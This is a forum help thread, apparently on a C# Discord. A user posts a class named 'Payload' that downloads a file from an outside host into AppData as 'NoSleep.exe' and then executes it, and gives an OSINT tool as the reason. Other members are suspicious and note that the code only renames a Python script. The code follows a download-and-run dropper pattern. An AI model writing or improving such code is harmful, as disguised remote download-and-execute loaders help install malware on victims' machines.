18 Replies
the code literally isn't downloading from any websites or executing (i added valid urls)
Why are you doing this outside of the process?
Just write code that does the same in
Here's perfectly reasonable code for downloading a file from regular old C#. Please use this instead of invoking Powershell for some reason.
This smells quite sussy
@Wallace And Gromit what, exactly, is this for?
OSINTego
Which is... what?
maltego/paterva but 10x better
its not finished yet though
its in python, not c# but im making a c# code for it so i can convert the python file to exe, since pyinstaller (py to exe converter) is too difficult to convert, and i dont know much c#
I don't know what either of those are
maltego is an OSINT tool
OSINT tool usually used for crime investigators, ethical hackers, investigators and other stuff
I still don't understand why this C# code is trying to execute powershell code, but if for some reason you need to do that, sending it to cmd.exe isn't going to work. You need to execute powershell.exe
how exactly is using C# to supposedly convert a python script to an EXE simpler than using a tool already designed to do that?
using System;
using System.Net;
public class Payload {
public static void Main(string[] args) {
using (var client = new WebClient()) {
client.DownloadFile("https://osintframework.peanutgamerdot.repl.co/OSINTego.py", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\NoSleep.exe");
}
System.Diagnostics.Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\NoSleep.exe");
}
}
.py
see
i'm not sure what this accomplishes
sure it technically lets you run an exe to run a python script, but it's still a python script and requires python to be installed along with whatever dependencies that script has
you also currently lose any command line arguments you may have passed
your code juste download a python script in a file noSleep.exe nothing more
Was this issue resolved? If so, run
/close
- otherwise I will mark this as stale and this post will be archived until there is new activity.Has to be done via @Accord I guess?
It's the
/close
from @Accord